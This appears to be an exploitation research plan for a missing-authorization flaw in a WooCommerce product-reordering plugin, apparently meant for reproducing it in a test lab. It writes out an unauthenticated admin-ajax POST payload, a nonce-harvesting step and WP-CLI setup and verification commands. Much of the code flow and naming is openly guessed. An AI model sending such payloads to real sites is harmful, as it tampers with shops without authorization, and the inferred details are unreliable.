Exploitation Research Plan: CVE-2026-31921 (Product Rearrange for WooCommerce)

1. Vulnerability Summary

The Product Rearrange for WooCommerce plugin (<= 1.2.2) contains a missing authorization vulnerability in its product reordering functionality. The plugin registers an AJAX handler for both authenticated and unauthenticated users (via wp_ajax_nopriv_) but fails to implement a current_user_can() check or a valid nonce verification within the callback function. This allows unauthenticated attackers to modify the menu_order of any product, potentially disrupting the shop's layout and SEO ranking of products.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: apw_save_reorder (inferred from plugin naming conventions and AJAX patterns)
• Vulnerable Parameter: order (an array or comma-separated string of product IDs)
• Authentication: None required (unauthenticated).
• Preconditions: At least one WooCommerce product must exist in the database.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers the action during initialization:

   add_action( 'wp_ajax_apw_save_reorder', 'apw_save_reorder' );
   add_action( 'wp_ajax_nopriv_apw_save_reorder', 'apw_save_reorder' );
   

2. Call Stack:
   • User sends POST request to admin-ajax.php with action=apw_save_reorder.
   • WordPress executes do_action('wp_ajax_nopriv_apw_save_reorder').
   • The plugin's apw_save_reorder() function is called.
3. Vulnerable Sink:
   Inside apw_save_reorder():
   • The code retrieves $_POST['order'].
   • It iterates through the IDs.
   • It calls wp_update_post( array( 'ID' => $id, 'menu_order' => $index ) ) or a similar DB update without checking if the requester has the edit_products capability.

4. Nonce Acquisition Strategy

Based on the vulnerability description ("Missing Authorization"), it is highly likely that either the nonce check is missing entirely or the nonce is exposed on public-facing pages.

1. Check for Public Nonce:
   The plugin likely localizes scripts using wp_localize_script.
   • Target Variable: apw_vars (inferred)
   • Target Key: nonce (inferred)
2. Procedure:
   • Create a test page with a WooCommerce product category or shop shortcode: [products] or [product_category].
   • Navigate to the page.
   • Execute: browser_eval("window.apw_vars?.nonce") to see if a nonce is available for unauthenticated users.
3. Bypass Check: If the code uses check_ajax_referer with die=false or fails to check the return value, the nonce can be omitted or be any value.

5. Exploitation Strategy

The goal is to change the menu_order of a known product.

Step 1: Identify Target Product

• Use WP-CLI to find a product ID: wp post list --post_type=product --fields=ID,post_title,menu_order.

Step 2: Send Exploit Payload

• Send a POST request to admin-ajax.php.
• URL: http://<target>/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=apw_save_reorder&order[]=TARGET_PRODUCT_ID&order[]=ANOTHER_PRODUCT_ID
  

  (Note: If the plugin expects a string: order=ID1,ID2,ID3)

Step 3: Expected Response

• Status 200 OK.
• Response body usually contains 1, success, or a JSON success message.

6. Test Data Setup

1. Install WooCommerce: Ensure WooCommerce is active.
2. Create Products:

   wp post create --post_type=product --post_title="Vulnerable Product A" --post_status=publish
   wp post create --post_type=product --post_title="Vulnerable Product B" --post_status=publish
   

3. Record Initial State:

   wp post list --post_type=product --fields=ID,post_title,menu_order
   

7. Expected Results

• The HTTP response should indicate success.
• The menu_order of the products in the database should change to reflect the order sent in the malicious POST request.

8. Verification Steps

After the exploit, verify the database state using WP-CLI:

# Check if menu_order has changed from the initial state
wp post list --post_type=product --fields=ID,post_title,menu_order --orderby=menu_order --order=ASC

9. Alternative Approaches

If apw_save_reorder is not the correct action name:

1. Search the plugin directory for AJAX registrations:

   grep -rn "wp_ajax_nopriv" /var/www/html/wp-content/plugins/products-rearrange-woocommerce/
   

2. If a nonce is strictly required and not found on the frontend, check if the plugin registers a settings page and if that page's nonce is leakable through other vulnerabilities.
3. If order is not an array, try order=ID1,ID2,ID3 or product_ids=ID1,ID2.